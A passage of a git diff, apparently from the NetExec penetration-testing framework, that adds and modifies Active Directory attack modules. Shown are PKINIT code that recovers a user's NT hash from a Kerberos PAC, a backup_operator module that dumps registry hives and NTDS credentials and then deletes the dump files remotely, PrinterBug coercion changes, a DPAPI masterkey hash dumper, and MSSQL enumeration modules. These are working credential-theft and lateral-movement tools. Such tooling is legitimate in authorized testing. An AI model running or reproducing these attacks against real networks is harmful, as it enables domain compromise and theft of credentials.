as_rep["enc-part"]["etype"] + cipher = _enctype_table[etype] + if etype == Enctype.AES256: + t_key = truncate_key(fullKey, 32) + elif etype == Enctype.AES128: + t_key = truncate_key(fullKey, 16) + elif etype == Enctype.RC4: + raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES") + + key = Key(cipher.enctype, t_key) + enc_data = as_rep["enc-part"]["cipher"] + logging.info("AS-REP encryption key (you might need this later):") + logging.info(hexlify(t_key).decode("utf-8")) + dec_data = cipher.decrypt(key, 3, enc_data) + encasrep = EncASRepPart.load(dec_data).native + cipher = _enctype_table[int(encasrep["key"]["keytype"])] + session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"]) + return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8") + + +class GETPAC: + + def printPac(self, data, key=None): + nthash = None + encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] + adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[ + 0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets()) + buff = pacType["Buffers"] + found = False + for _bufferN in range(pacType["cBuffers"]): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer["ulType"]) + if infoBuffer["ulType"] == 2: + found = True + credinfo = PAC_CREDENTIAL_INFO(data) + if logging.getLogger().level == logging.DEBUG: + credinfo.dump() + newCipher = _enctype_table[credinfo["EncryptionType"]] + out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) + type1 = TypeSerialization1(out) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = out[len(type1) + 4:] + pcc = PAC_CREDENTIAL_DATA(newdata) + if logging.getLogger().level == logging.DEBUG: + pcc.dump() + for cred in pcc["Credentials"]: + credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) + if logging.getLogger().level == logging.DEBUG: + credstruct.dump() + + logging.info("Recovered NT Hash") + logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) + nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") + + buff = buff[len(infoBuffer):] + + if not found: + logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") + return nthash + + def __init__(self, username, domain, kdcHost, key, tgt): + self.__username = username + self.__domain = domain.upper() + self.__kdcHost = kdcHost + self.__asrep_key = key + self.__tgt = tgt["KDC_REP"] + self.__cipher = tgt["cipher"] + self.__sessionKey = tgt["sessionKey"] + + def dump(self): + # Try all requested protocols until one works. + tgt = self.__tgt + cipher = self.__cipher + sessionKey = self.__sessionKey + + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT["ticket"]) + + apReq = AP_REQ() + apReq["pvno"] = 5 + apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq["ap-options"] = constants.encodeFlags(opts) + seq_set(apReq, "ticket", ticket.to_asn1) + + authenticator = Authenticator() + authenticator["authenticator-vno"] = 5 + authenticator["crealm"] = str(decodedTGT["crealm"]) + + clientName = Principal() + clientName.from_asn1(decodedTGT, "crealm", "cname") + + seq_set(authenticator, "cname", clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug("AUTHENTICATOR") + print(authenticator.prettyPrint()) + print("\n") + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq["authenticator"] = noValue + apReq["authenticator"]["etype"] = cipher.enctype + apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq["pvno"] = 5 + tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq["padata"] = noValue + tgsReq["padata"][0] = noValue + tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq["padata"][0]["padata-value"] = encodedApReq + + reqBody = seq_set(tgsReq, "req-body") + + opts = [] + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + + reqBody["kdc-options"] = constants.encodeFlags(opts) + + serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) + + seq_set(reqBody, "sname", serverName.components_to_asn1) + reqBody["realm"] = str(decodedTGT["crealm"]) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody["till"] = KerberosTime.to_asn1(now) + reqBody["nonce"] = random.getrandbits(31) + seq_set_iter(reqBody, "etype", + (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, "additional-tickets", (myTicket,)) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + + message = encoder.encode(tgsReq) + logging.info("Requesting ticket to self with PAC") + + r = sendReceive(message, self.__domain, self.__kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug("TGS_REP") + print(tgs.prettyPrint()) + + cipherText = tgs["ticket"]["enc-part"]["cipher"] + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + + # S4USelf + U2U uses this other key + plainText = cipher.decrypt(sessionKey, 2, cipherText) + specialkey = Key(18, unhexlify(self.__asrep_key)) + return self.printPac(plainText, specialkey) + + +def pfx_auth(self): + """Handles the authentication using a PFX or PEM file""" + # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason + dhparams = { + "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), + "g": 2 + } + self.logger.info("Loading certificate and key from file") + + # Load the certificate and key from file + if self.args.pfx_cert or self.args.pfx_base64: + pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 + ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) + elif self.args.pem_cert and self.args.pem_key: + ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams) + else: + self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") + return None + + username = self.args.username[0] + log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + + # Request a TGT with the cert data + req = ini.build_asreq(self.domain, username) + self.logger.info("Requesting TGT") + + sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) + try: + res = sock.sendrecv(req) + except Exception as e: + self.logger.fail(str(e)) + return False + + encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) + ccache_minikerberos = CCACHE() + ccache_minikerberos.add_tgt(res.native, encasrep) + ccache_minikerberos.to_file(log_ccache) + self.logger.info(f"Saved TGT to file {log_ccache}") + self.logger.info(f"Using Kerberos Cache {log_ccache}") + ccache = impacket_CCache.loadFile(log_ccache) + principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt) + nthash = dumper.dump() + if not self.kerberos: + self.hash_login(self.domain, username, nthash) + else: + self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) + + self.logger.info("Successfully authenticated using Certificate") + return True diff --git a/nxc/logger.py b/nxc/logger.py index acacfcd4..88871f59 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,7 +3,6 @@ from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys -import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -22,10 +21,11 @@ def parse_debug_args(): args, _ = debug_parser.parse_known_args() return args + def setup_debug_logging(): debug_args = parse_debug_args() root_logger = logging.getLogger("root") - + if debug_args.verbose: nxc_logger.logger.setLevel(logging.INFO) root_logger.setLevel(logging.INFO) @@ -35,34 +35,33 @@ def setup_debug_logging(): else: nxc_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) - + def create_temp_logger(caller_frame, formatted_text, args, kwargs): """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated""" temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): """Custom logging handler for when we want to log normal messages to DEBUG and not double log""" + def __init__(self, formatter=None, *args, **kwargs): super().__init__(*args, **kwargs) if formatter is not None: self.setFormatter(formatter) - + def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" - # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging - record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename record.lineno = frame_info.lineno super().emit(record) + def no_debug(func): """Stops logging non-debug messages when we are in debug mode It creates a temporary logger and logs the message to the console and file @@ -72,7 +71,7 @@ def no_debug(func): def wrapper(self, msg, *args, **kwargs): if self.logger.getEffectiveLevel() >= logging.INFO: return func(self, msg, *args, **kwargs) - else: + else: formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0]) caller_frame = inspect.currentframe().f_back create_temp_logger(caller_frame, formatted_text, args, kwargs) @@ -81,7 +80,7 @@ def no_debug(func): class NXCAdapter(logging.LoggerAdapter): - def __init__(self, extra=None): + def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", @@ -90,11 +89,13 @@ class NXCAdapter(logging.LoggerAdapter): rich_tracebacks=True, tracebacks_show_locals=False )], + encoding="utf-8" ) self.logger = logging.getLogger("nxc") self.extra = extra + self.merge_extra = merge_extra self.output_file = None - + logging.getLogger("impacket").disabled = True logging.getLogger("pypykatz").disabled = True logging.getLogger("minidump").disabled = True @@ -173,7 +174,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -181,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter): open(output_file, "x") # noqa: SIM115 file_creation = True - file_handler = RotatingFileHandler(output_file, maxBytes=100000) + file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8") with file_handler._open() as f: if file_creation: @@ -203,18 +204,6 @@ class NXCAdapter(logging.LoggerAdapter): datetime.now().strftime("%Y-%m-%d"), f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) - - -class TermEscapeCodeFormatter(logging.Formatter): - """A class to strip the escape codes for logging to files""" - - def __init__(self, fmt=None, datefmt=None, style="%", validate=True): - super().__init__(fmt, datefmt, style, validate) - - def format(self, record): # noqa: A003 - escape_re = re.compile(r"\x1b\[[0-9;]*m") - record.msg = re.sub(escape_re, "", str(record.msg)) - return super().format(record) # initialize the logger for all of nxc - this is imported everywhere diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 6946a9b0..c13c4e56 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -49,10 +49,10 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, @@ -61,7 +61,7 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) else: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 00000000..4b858312 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,143 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted + + def options(self, context, module_options): + """NO OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + context.log.display("Triggering RemoteRegistry to start through named pipe...") + self.trigger_winreg(connection.conn, context) + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + + try: + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self._strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + return + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + dce.disconnect() + + # copy remote file to local + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + local_operations = LocalOperations(log_path + "SYSTEM") + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + for hive in ["SAM", "SECURITY", "SYSTEM"]: + try: + out = connection.conn.listPath("SYSVOL", hive) + if out: + self.deleted_files = False + context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") + except SessionError as e: + context.log.debug(f"File {hive} successfully removed: {e}") + else: + self.deleted_files = False + else: + self.deleted_files = False + + if not self.deleted_files: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + else: + context.log.display("Successfully deleted dump files !") + + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs + tid = connection.connectTree("IPC$") + try: + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # Give remote registry time to start + time.sleep(1) + + def _strip_root_key(self, dce, key_name): + # Let's strip the root key + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + h_root_key = ans["phKey"] + return h_root_key, sub_key diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index b09d7961..09017fc5 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1,4 +1,5 @@ -from impacket.dcerpc.v5 import transport, rprn, even +from impacket import uuid +from impacket.dcerpc.v5 import transport, rprn, even, epm from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY @@ -146,32 +147,36 @@ class NXCModule: if self.method == "all" or self.method[:2] == "pr": # PrinterBug runmethod = True """ PRINTERBUG START """ - try: - printerbugclass = PrinterBugTrigger(context) - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - printerbugconnect = printerbugclass.connect( - username=connection.username, - password=connection.password, - domain=connection.domain, - lmhash=connection.lmhash, - nthash=connection.nthash, - target=target, - doKerberos=connection.kerberos, - dcHost=connection.kdcHost, - aesKey=connection.aesKey, - pipe="spoolss" - ) + pipes = ["spoolss", "[dcerpc]"] + for pipe in pipes: + try: + printerbugclass = PrinterBugTrigger(context) + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + printerbugconnect = printerbugclass.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=target, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + aesKey=connection.aesKey, + pipe=pipe + ) - if printerbugconnect is not None: - context.log.debug("Target is vulnerable to PrinterBug") - context.log.highlight("VULNERABLE, PrinterBug") - if self.listener is not None: # exploit - printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss") - printerbugconnect.disconnect() - else: - context.log.debug("Target is not vulnerable to PrinterBug") - except Exception as e: - context.log.error(f"Error in PrinterBug module: {e}") + if printerbugconnect is not None: + context.log.debug("Target is vulnerable to PrinterBug") + context.log.highlight("VULNERABLE, PrinterBug") + if self.listener is not None: # exploit + exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) + if not self.always_continue and exploit_status: + break + printerbugconnect.disconnect() + else: + context.log.debug("Target is not vulnerable to PrinterBug") + except Exception as e: + context.log.error(f"Error in PrinterBug module: {e}") """ PRINTERBUG END """ if self.method == "all" or self.method[:1] == "m": # MSEven @@ -752,15 +757,49 @@ class PrinterBugTrigger: def __init__(self, context): self.context = context + def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: + string_binding = r"ncacn_ip_tcp:%s[135]" % target + rpctransport = transport.DCERPCTransportFactory(string_binding) + rpctransport.set_connect_timeout(timeout) + dce = rpctransport.get_dce_rpc() + self.context.log.debug( + "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) + ) + try: + dce.connect() + except Exception as e: + self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) + raise e + try: + endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) + self.context.log.debug( + f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}" + ) + return endpoint + except Exception as e: + self.context.log.debug( + "Failed to resolve dynamic endpoint %s" + % repr(uuid.bin_to_string(interface)) + ) + raise e + + def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": 445 }, + "[dcerpc]": { + "stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), + "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), + "port": None + } } rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) - rpctransport.set_dport(445) + if binding_params[pipe]["port"] is not None: + rpctransport.set_dport(binding_params[pipe]["port"]) if hasattr(rpctransport, "set_credentials"): rpctransport.set_credentials( diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 2cb4f45c..0bdff145 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -274,8 +274,8 @@ class NXCModule: self.context = context """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" context.log.highlight("Be careful, this module cannot read the DACLS recursively.") - self.baseDN = connection.ldapConnection._baseDN - self.ldap_session = connection.ldapConnection + self.baseDN = connection.ldap_connection._baseDN + self.ldap_session = connection.ldap_connection # Searching for the principal SID if self.principal_sAMAccountName is not None: @@ -373,7 +373,7 @@ class NXCModule: if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( - searchBase=self.baseDN, + searchBase=_lookedup_principal, searchFilter=f"(distinguishedName={_lookedup_principal})", attributes=["nTSecurityDescriptor"], searchControls=controls, diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py new file mode 100644 index 00000000..070121f6 --- /dev/null +++ b/nxc/modules/dpapi_hash.py @@ -0,0 +1,63 @@ +from dploot.lib.target import Target +from dploot.triage.masterkeys import MasterkeysTriage + +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + +# Based on dpapimk2john, original work by @fist0urs + +class NXCModule: + name = "dpapi_hash" + description = "Remotely dump Dpapi hash based on masterkeys" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """OUTPUTFILE Output file to write hashes""" + self.outputfile = None + if "OUTPUTFILE" in module_options: + self.outputfile = module_options["OUTPUTFILE"] + + def on_admin_login(self, context, connection): + username = connection.username + password = getattr(connection, "password", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=connection.domain, + username=username, + password=password, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), + nthash=nthash, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), + ) + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + try: + context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + ) + context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") + context.log.debug("Collecting user masterkeys") + masterkeys_triage.triage_masterkeys() + if self.outputfile is not None: + with open(self.outputfile, "a+") as fd: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + fd.write(f"{mkhash}\n") + else: + for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]: + context.log.highlight(mkhash) + + except Exception as e: + context.log.debug(f"Could not get masterkeys: {e}") \ No newline at end of file diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 5946bd15..8a742556 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -84,10 +84,7 @@ class NXCModule: prod_results = results.setdefault(product["name"], {}) prod_results.setdefault("pipes", []).append(pipe) except Exception as e: - if "STATUS_ACCESS_DENIED" in str(e): - context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1") - else: - context.log.fail(str(e)) + context.log.fail(str(e)) def dump_results(self, results, context): if not results: diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py new file mode 100644 index 00000000..9dc142c5 --- /dev/null +++ b/nxc/modules/enum_impersonate.py @@ -0,0 +1,46 @@ +class NXCModule: + """ + Enumerate SQL Server users with impersonation rights + Module by deathflamingo + """ + + name = "enum_impersonate" + description = "Enumerate users with impersonation privileges" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + impersonate_users = self.get_impersonate_users() + if impersonate_users: + self.context.log.success("Users with impersonation rights:") + for user in impersonate_users: + self.context.log.display(f" - {user}") + else: + self.context.log.fail("No users with impersonation rights found.") + + def get_impersonate_users(self) -> list: + """ + Fetches a list of users with impersonation rights. + + Returns + ------- + list: List of user names. + """ + query = """ + SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name LIKE 'IMPERSONATE%' + """ + res = self.mssql_conn.sql_query(query) + return [user["name"] for user in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py new file mode 100644 index 00000000..01b97f30 --- /dev/null +++ b/nxc/modules/enum_links.py @@ -0,0 +1,53 @@ +class NXCModule: + """ + Enumerate SQL Server linked servers + Module by deathflamingo, NeffIsBack + """ + + name = "enum_links" + description = "Enumerate linked SQL Servers and their login configurations." + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def options(self, context, module_options): + pass + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + linked_servers = self.get_linked_servers() + if linked_servers: + self.context.log.success("Linked servers found:") + for server in linked_servers: + self.context.log.display(f" - {server}") + else: + self.context.log.fail("No linked servers found.") + + def on_admin_login(self, context, connection): + res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") + srvs = [srv for srv in res if srv["Local Login"] != "NULL"] + if not srvs: + self.context.log.fail("No linked servers found.") + return + self.context.log.success("Linked servers found:") + for srv in srvs: + self.context.log.display(f"Linked server: {srv['Linked Server']}") + self.context.log.display(f" - Local login: {srv['Local Login']}") + self.context.log.display(f" - Remote login: {srv['Remote Login']}") + + def get_linked_servers(self) -> list: + """ + Fetches a list of linked servers. + + Returns + ------- + list: List of linked server names. + """ + query = "EXEC sp_linkedservers;" + res = self.mssql_conn.sql_query(query) + return [server["SRV_NAME"] for server in res] if res else [] diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py new file mode 100644 index 00000000..42302338 --- /dev/null +++ b/nxc/modules/enum_logins.py @@ -0,0 +1,40 @@ +class NXCModule: + """ + Enumerate SQL Server logins + Module by deathflamingo + """ + + name = "enum_logins" + description = "Enumerate SQL Server logins" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + logins = self.get_logins() + if logins: + self.context.log.success("Logins found:") + for login in logins: + self.context.log.display(f" - {login}") + else: + self.context.log.fail("No logins found.") + + def get_logins(self) -> list: + """ + Fetches a list of SQL Server logins. + + 